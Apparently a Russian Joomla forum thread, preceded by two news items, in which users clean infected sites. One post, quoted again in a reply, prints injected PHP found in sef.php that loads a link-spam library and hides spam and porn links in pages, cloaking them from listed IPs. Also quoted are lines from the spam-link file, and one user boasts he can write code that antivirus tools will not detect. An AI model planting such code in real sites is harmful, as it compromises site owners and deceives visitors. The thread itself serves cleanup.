Новости Joomla

Как тестировать Joomla PHP-разработчику? Компонент Patch tester.

👩‍💻 Как тестировать Joomla PHP-разработчику? Компонент Patch tester.Joomla - open source PHP-фреймворк с готовой админкой. Его основная разработка ведётся на GitHub. Для того, чтобы международному сообществу разработчиков было удобнее тестировать Pull Requests был создан компонент Patch Tester, который позволяет "накатить" на текущую установку Joomla именно те изменения, которые необходимо протестировать. На стороне инфраструктуры Joomla для каждого PR собираются готовые пакеты, в которых находится ядро + предложенные изменения. В каждом PR обычно находятся инструкции по тестированию: куда зайти, что нажать, ожидаемый результат. Тестировщики могут предположить дополнительные сценарии, исходя из своего опыта и найти баги, о которых сообщить разработчику. Или не найти, и тогда улучшение или исправление ошибки быстрее войдёт в ядро Joomla. Напомню, что для того, чтобы PR вошёл в ядро Joomla нужны минимум 2 положительных теста от 2 участников сообщества, кроме автора. Видео на YouTubeВидео на VK ВидеоВидео на RuTubeКомпонент на GitHub https://github.com/joomla-extensions/patchtester@joomlafeed#joomla #php #webdev #community

Вышел релиз Revo PageBuilder Toolkit for YOOtheme Pro 1.6

Вышел релиз Revo PageBuilder Toolkit for YOOtheme Pro 1.6.2PageBuilder Toolkit - это специализированный плагин для конструктора страниц Yootheme Pro, содержит набор различных утилит для ускорения процесса работы и отладки макета, множественные улучшения в интерфейсе, включая поддержку dark mode, подсказки, быстрая смена разрешения в окне просмотра и много чего еще.v.1.6.2 Что нового?- Индикатор статусов: теперь не просто показывает состояние запросов, но и делает автоматические попытки их отправки при кратковременных сбоях в сети, а если это не помогло, то переводит конструктор в ручной режим, что позволяет сохранит макет и настройки темы прежде чем вы потеряете все, что было сделано с момента последнего сохранения- Подсветка ошибок в макете: плагин анализирует код страницы и может автоматически подсвечивать data атрибуты с кучей мусора, которые попадают в код страницы при копипасте из Figma в TinyMCE (пригодится для старых макетов, в текущей работе плагин сам очищает код мусора). Также есть подсветка семантических ошибок сборки - дубли h1 тега на странице и вложенных друг в друга заголовков.- Улучшена поддержка будущего релиза Yootheme Pro 5 и редактора CodeMirror 6Плагин для русскоязычных пользователей доступен в каталоге расширений SovMart и распространяется за символическую плату (100р). Разработчики Joomla расширений и партнеры автора могут получить плагин бесплатно.Для работы плагина необходим конструктор страниц Yootheme Pro.Разработчик плагина - участник нашего сообщества Александр Судьбинов (@alexrevo), член официальной группы поддержки Yootheme Pro. Страница расширенияОписание на сайте автора@joomlafeed#joomla #yootheme

0 Пользователей и 1 Гость просматривают эту тему.
  • 56 Ответов
  • 13318 Просмотров
*

busik

  • Захожу иногда
  • 186
  • 7 / 0
Еще парочку... :)
« Ответ #30 : 30.10.2014, 16:20:35 »
Еще парочку (с) сегодня ... поймал и убил :) оба сидели в темплейте, содержали ссылки на порносайты и т.д.
*

ander_axel

  • Осваиваюсь на форуме
  • 22
  • 1 / 0
В папку с шаблонами я ложу вот такой htaccess работает все на ура, ложу его во все папки кроме administrator

а что можете предложить для папки media? Если туда положить, то перестают показываться мелкие изображения в админке (Joomla 3.3.6).
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
посмотрите какие расширения изображений в админке не отображаются, если они отсутствуют в .htaccess, то допишите...
*

dimat84

  • Давно я тут
  • 517
  • 20 / 0
winstrool
Цитировать
Цитата: AlekVolsk от 28.10.2014, 14:00:51
Бейсик-авторизация - слышал. но не знаю. что это.
В корень админки ложешь .htaccess со следущим содержанием:
Цитировать
AuthName "Access Denied"
AuthType Basic
AuthUserFile /[ПОЛНЫЙ ПУТЬ ДО АДМИНКИ]/administrator/.htpasswd
require valid-user
а затем ложим рядышком .htpasswd который можно сгенерировать здесь _ttp://www.htaccesstools.com/htpasswd-generator/
к примеру логин:пасс admin -> admin:$apr1$ttYMJi8C$gCJwuIsCdAZYOKVdpa4OO/
Не пойму а как это работать будет? Что это дает? И как понять [ПОЛНЫЙ ПУТЬ ДО АДМИНКИ] адрес сайта что-ли?
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
winstroolНе пойму а как это работать будет? Что это дает? И как понять [ПОЛНЫЙ ПУТЬ ДО АДМИНКИ] адрес сайта что-ли?
работает как Basic access authentication
http://en.wikipedia.org/wiki/Basic_access_authentication
вот почитать
https://ru.wikipedia.org/wiki/.htpasswd
https://ru.wikipedia.org/wiki/.htaccess
полный путь до папки administrator это путь к папке на сервере можете посмотреть если не знаете как в панели управления движка путь до папок tmp или logs, .htpasswd можно ложить в любую из папок и правильно будет положить его выше корневой папки сайта

а что у хостера нет в панели ограничения на папку поставить?
*

dimat84

  • Давно я тут
  • 517
  • 20 / 0
Цитировать
а что у хостера нет в панели ограничения на папку поставить?
Изменить атрибуты? это?
Или ограничение доступа к директории?
« Последнее редактирование: 21.11.2014, 13:39:25 от dimat84 »
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Или ограничение доступа к директории?
вот это
-выбираете директорию
-назначаете её пользователя и пас
это практически на любом хосте сейчас возможно
*

dimat84

  • Давно я тут
  • 517
  • 20 / 0
Спасибо
Пас? это пароль?  ^-^
*

dimat84

  • Давно я тут
  • 517
  • 20 / 0
Спасибо за помощь flyingspook . Сделал, всё работает  ^-^
*

Oder

  • Новичок
  • 7
  • 0 / 0
Только что с админом уловили что от пострадавшего сайта идут невидимые ссылки на порносайты, выводились в левом нижнем углу сайта. Покопался в темплейтах (их там работает два), нашел следующее:

В CSS файле в конце вписан код, делающий показываемые линки невидимыми (класс .ssil2)

В папке images (в темплейтах) найдены четыре файла:

1. img.jpg - внутри код в encode Base64
2. simple.jpg - внутри то же самое

оба NOD32 идентифицируются как вирусы, как только включился, сразу их убил (я его временно отключал). PHP код вызова этих файлов был врезан внизу файла index.php перед </body>. Кстати, он-лайн тестер вирусов https://www.virustotal.com/ проверял этот сайт и не пикнул.

3. ML_lcode.php - собственно код
4. [sitename].ru.links.dat - список ссылок

Последний содержал перечисление ссылок типа:

%2Fcontent%2Fview%2F810%2F41%2F__LINK__<a href='http://yurist116.info/'>Ищу бесплатнои юридические услуги в Казани</a>__END__
%2Fcontent%2Fview%2F810%2F41%2F__LINK__<a href='http://www.personal-exclusive.ru/'>Yjdjcnb hr v в Самаре</a>__END__
%2Fcontent%2Fview%2F810%2F41%2F__LINK__<a href='http://www.zavod-tkz.ru/kozlovoy.php'>Смета на монтаж козлового крана в Москве</a>__END__
%2Fcontent%2Fcategory%2F13%2F66%2F1%2F__LINK__Аппетитные голые <a href="http://www.kisok.net/">проститутки</a> с чулками и бикини заставят Вас играть по их правилам.__END__
%2Fcontent%2Fcategory%2F13%2F66%2F1%2F__LINK__<a href='http://www.malchiki.nl'>Элитные парни по вызову</a> 24 часа в сутки.__END__
%2Fcontent%2Fcategory%2F13%2F66%2F1%2F__LINK__<a href='http://gay.malchiki.nl'>гей интим услуги Москва</a> обявления__END__
%2Fcomponent%2Foption%2Ccom_contact%2Fcatid%2C43%2FItemid%2C3%2F__LINK__<a href='http://apollo-zmk.ru/products/stroitelnye-metallokonstrukcii/balki/'>балки и прогоны</a>__END__
%2Fcontent%2Fview%2F1204%2F76%2F__LINK__<a href='http://alukonkazan.ru/vkhodnye-gruppy.html'>Изготовление входные группы Казань</a>__END__
%2Fcontent%2Fview%2F1204%2F76%2F__LINK__<a href='http://acm4.ru/vibroplita-vaker-pokupka'>виброплита бензиновая</a>__END__
%2Fcontent%2Fview%2F1204%2F76%2F__LINK__<a href='http://www.sembi.ru/registracija-ooo-v-svao-sviblovo.html'>регистрация Ооо бабушкинская</a>, которым нужна гарантированная и__END__

и далее такого добра про аппетитных толстушек, девок по вызову и т.д на 64к

Последнее обновление этого файла было 15 мин назад (на момент вычищения).

Вот, на сегодняшний вечер/ночь пока все успехи :)
Здравствуйте,
Обнаружил такую же проблему с этими же вирусами (у меня Joomla 1.5.26), только они в папке TinyMCE, создав поддиректории с названием data/data,  прописались. Но не могу ее никак решить, уже и айболитом прошелся, он кроме этих файлов ничего подозрительного не находит. Сносишь эти файлы, ничего не меняется, сносишь папку, в которой еще есть файл index.php  - сайт пропадает. В индекс файле темплейта левых кодов нет, вернее был между надписями center end - footer start, его снес и еще пару левых файлов в CSS нашел, их посносил, но ничего не изменилось. Как пропадал сайт, если удалять найденные вирусы, так и пропадает.

Можете чем-нибудь помочь?  ! !
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Проверь на подключение в других файлах, более всего в системных, этого файла.
Цитировать
сносишь папку, в которой еще есть файл index.php  - сайт пропадает.
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
удаляемый участок вируса скорее всего вызывается подключаемым файлом в которой прописана сама функция, сделайте поиск по названию функции, или сносите зараженный участок и смотрите error_log на какой он файл будет жаловаться
*

Oder

  • Новичок
  • 7
  • 0 / 0
Проверь на подключение в других файлах, более всего в системных, этого файла.
Искал уже по файлам, но пока ничего не нашел. В каких файлах обычно такое прописывается?
*

Oder

  • Новичок
  • 7
  • 0 / 0
удаляемый участок вируса скорее всего вызывается подключаемым файлом в которой прописана сама функция, сделайте поиск по названию функции, или сносите зараженный участок и смотрите error_log на какой он файл будет жаловаться
error log на серваке пустой, как делать поиск по функции?
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
egrep -H "function_name" `find . -type f -name "*.php" -print`
где function_name название искомой функции, error_log можно включить в php.ini если он отключен или через .htaccess
http://www.aloha.kiev.ua/PHP-Error-htaccess-Nastrojki.html
*

Oder

  • Новичок
  • 7
  • 0 / 0
egrep -H "function_name" `find . -type f -name "*.php" -print`
где function_name название искомой функции, error_log можно включить в php.ini если он отключен или через .htaccess
http://www.aloha.kiev.ua/PHP-Error-htaccess-Nastrojki.html
Сложновато для меня, но буду пробовать!
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
А проще обратиться к хостеру- чтобы включил логирование, если в панельке хостинга нет кнопки
*

Oder

  • Новичок
  • 7
  • 0 / 0
А проще обратиться к хостеру- чтобы включил логирование, если в панельке хостинга нет кнопки
Кнопки нет, хостер говорит, что отключает логи, потому что много места занимают лог-файлы. Завтра свяжусь с ними. Спасибо, но пока еще не понял, как все будет.
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Кнопки нет, хостер говорит, что отключает логи, потому что много места занимают лог-файлы. Завтра свяжусь с ними. Спасибо, но пока еще не понял, как все будет.
Бегите от такого хостера
*

wishlight

  • Гуру
  • 5076
  • 319 / 1
  • От 300 руб быстрый хостинг. Сервера.
лол... у меня логи 20 сайтов 200 метров по моему за хз сколько времени... Жлоб какой...
*

Oder

  • Новичок
  • 7
  • 0 / 0
удаляемый участок вируса скорее всего вызывается подключаемым файлом в которой прописана сама функция, сделайте поиск по названию функции, или сносите зараженный участок и смотрите error_log на какой он файл будет жаловаться

Нашел!
Хостер включил error_log. Сразу проверил как Вы советовали. И появилась такая запись.

"[Mon Jun 29 11:11:45 2015] [error] [client 89.218.174.8] PHP Fatal error:  require_once(): Failed opening required '/var/www/v-2733/data/www/domain/plugins/editors/tinymce/data/index.php' (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/v-2733/data/www/domain/plugins/system/sef.php on line 60"

Смотрим в файл и сравниваем с чистым из комплекта установки. Видим вот такую вставку:

/*<mainlink>*/
               $bodyText = JResponse::getBody();                                 
               if (preg_match("/((\s+)<link.*)/i", $bodyText, $result)) {
               $link = $result[1];
               }       
               $link = preg_replace('/(\s+)/i', '$1<link rel="stylesheet" type="text/css" href="plugins/editors/tinymce/tinymce.css" />', $link, 1);                 
               $bodyText = preg_replace('/((\s+)<link.*)/i', '$1'.$link, $bodyText, 1);
               JResponse::setBody($bodyText);
               if ($_GET["type"] === "css" && $_GET["v"] === "3.0") {
               JResponse::setHeader('Content-Type', "text/css", true);
               JResponse::setBody(file_get_contents("plugins/editors/tinymce/tinymce.css"));
               }
          $dir_path = ( $_SERVER['DOCUMENT_ROOT'] . "/plugins/editors/tinymce/data/");
          require_once($dir_path . 'index.php');
          $o['USERNAME'] = 'C253E88948E8DD343B5B012DD8980FFD';
          $o['charset'] = JFactory::getDocument()->getCharset();
          $client_lnk = new MLClient($o);   
          $bodyText = JResponse::getBody();
         
          $dirPath = realpath("."). "/components/com_content";
        if (file_exists($dirPath . "/stat2.log")) {
           $ips = file($dirPath . "/stat2.log");
           $iplist_cnt = count($ips);
           $ip = $_SERVER["REMOTE_ADDR"];         
           $min = ip2long(long2ip(ip2long($ip) & 0xFFFFFF00));
           $max = ip2long(long2ip(ip2long($ip) | 0x000000FF));

           for($i = 0; $i < $iplist_cnt; $i++) {
            $needle = trim($ips[$i]);
            if (($needle >= $min) AND ($needle <= $max)) {
              $iKnowYou = true;
              break;
            }
           }
        } else {
         $iKnowYou = true;
        }
            $links = $client_lnk->build_links();
          if (!$iKnowYou) {           
               $bodyText = preg_replace("~(.*)(<(\s*?)\/(\s*?)body([^>]*?)>)~s", "$1\r\n<div>" . $links . "</div>$2", $bodyText);
          }
                     
          JResponse::setBody(preg_replace("~(<(\s*?)body([^>]*?)>)~", "$1\r\n<div class='items-body element'>" . $links . "</div>", $bodyText));
          /*</mainlink>*/

Мочим, вернее меняем на чистый файл. САЙТ ЗАРАБОТАЛ! Мочим все левые файлы/папки. Все работает!

Что странно, файл SEF.php датирован той датой, когда я выполнял обновление системы, как будто при обновлении он уже измененным загрузился, хотя апгрейд пакет я брал на официальном сайте Joomla.

Спасибо за помощь!
*

wishlight

  • Гуру
  • 5076
  • 319 / 1
  • От 300 руб быстрый хостинг. Сервера.
 ::) Не странно совсем. А они все лучше код меняют.
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Нашел!
Хостер включил error_log. Сразу проверил как Вы советовали. И появилась такая запись.

"[Mon Jun 29 11:11:45 2015] [error] [client 89.218.174.8] PHP Fatal error:  require_once(): Failed opening required '/var/www/v-2733/data/www/domain/plugins/editors/tinymce/data/index.php' (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/v-2733/data/www/domain/plugins/system/sef.php on line 60"

Смотрим в файл и сравниваем с чистым из комплекта установки. Видим вот такую вставку:

/*<mainlink>*/
               $bodyText = JResponse::getBody();                                 
               if (preg_match("/((\s+)<link.*)/i", $bodyText, $result)) {
               $link = $result[1];
               }       
               $link = preg_replace('/(\s+)/i', '$1<link rel="stylesheet" type="text/css" href="plugins/editors/tinymce/tinymce.css" />', $link, 1);                 
               $bodyText = preg_replace('/((\s+)<link.*)/i', '$1'.$link, $bodyText, 1);
               JResponse::setBody($bodyText);
               if ($_GET["type"] === "css" && $_GET["v"] === "3.0") {
               JResponse::setHeader('Content-Type', "text/css", true);
               JResponse::setBody(file_get_contents("plugins/editors/tinymce/tinymce.css"));
               }
          $dir_path = ( $_SERVER['DOCUMENT_ROOT'] . "/plugins/editors/tinymce/data/");
          require_once($dir_path . 'index.php');
          $o['USERNAME'] = 'C253E88948E8DD343B5B012DD8980FFD';
          $o['charset'] = JFactory::getDocument()->getCharset();
          $client_lnk = new MLClient($o);   
          $bodyText = JResponse::getBody();
         
          $dirPath = realpath("."). "/components/com_content";
        if (file_exists($dirPath . "/stat2.log")) {
           $ips = file($dirPath . "/stat2.log");
           $iplist_cnt = count($ips);
           $ip = $_SERVER["REMOTE_ADDR"];         
           $min = ip2long(long2ip(ip2long($ip) & 0xFFFFFF00));
           $max = ip2long(long2ip(ip2long($ip) | 0x000000FF));

           for($i = 0; $i < $iplist_cnt; $i++) {
            $needle = trim($ips[$i]);
            if (($needle >= $min) AND ($needle <= $max)) {
              $iKnowYou = true;
              break;
            }
           }
        } else {
         $iKnowYou = true;
        }
            $links = $client_lnk->build_links();
          if (!$iKnowYou) {           
               $bodyText = preg_replace("~(.*)(<(\s*?)\/(\s*?)body([^>]*?)>)~s", "$1\r\n<div>" . $links . "</div>$2", $bodyText);
          }
                     
          JResponse::setBody(preg_replace("~(<(\s*?)body([^>]*?)>)~", "$1\r\n<div class='items-body element'>" . $links . "</div>", $bodyText));
          /*</mainlink>*/

Мочим, вернее меняем на чистый файл. САЙТ ЗАРАБОТАЛ! Мочим все левые файлы/папки. Все работает!

Что странно, файл SEF.php датирован той датой, когда я выполнял обновление системы, как будто при обновлении он уже измененным загрузился, хотя апгрейд пакет я брал на официальном сайте Joomla.

Спасибо за помощь!
С вас плюсик))) Есть еще такая штука, как дата модификации и создания файла, и есть такая штука что дату модификации менять можно, средствами PHP, а дату создания нет, вот вы и увидели дату модификации на момент обновления...
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
::) Не странно совсем. А они все лучше код меняют.
я вам могу такой код составить, что не один АВ не спалит и айболит рядом стоять не будет)))
*

wishlight

  • Гуру
  • 5076
  • 319 / 1
  • От 300 руб быстрый хостинг. Сервера.
Цитировать
$o['USERNAME'] = 'C253E88948E8DD343B5B012DD8980FFD';

Это тоже удастся спрятать?
*

Oder

  • Новичок
  • 7
  • 0 / 0
С вас плюсик)))
Пока нет возможности ставить. Странные ограничения для новичков на форуме, типа их благодарность не котируется  ;D
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Это тоже удастся спрятать?
если есть интирес, то да!
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Скрипт для поиска вирусов и вредоносных скриптов на сайте "AI-Bolit"

Автор revisium

Ответов: 110
Просмотров: 71463
Последний ответ 30.08.2023, 12:53:33
от SeBun
Re: Кажется вирус на сайте

Автор motokraft

Ответов: 24
Просмотров: 5115
Последний ответ 04.05.2022, 14:04:17
от ProtectYourSite
На сайте появился вирус

Автор Lifar

Ответов: 3
Просмотров: 1237
Последний ответ 23.04.2021, 10:12:05
от ProtectYourSite
Регистрируются боты на сайте непрерывно.

Автор Stich SPb

Ответов: 27
Просмотров: 14338
Последний ответ 22.02.2021, 17:42:48
от soty20
Вирус на сайте, редирект, что делать как лечить!

Автор flyingspook

Ответов: 792
Просмотров: 292359
Последний ответ 23.02.2020, 21:18:16
от draff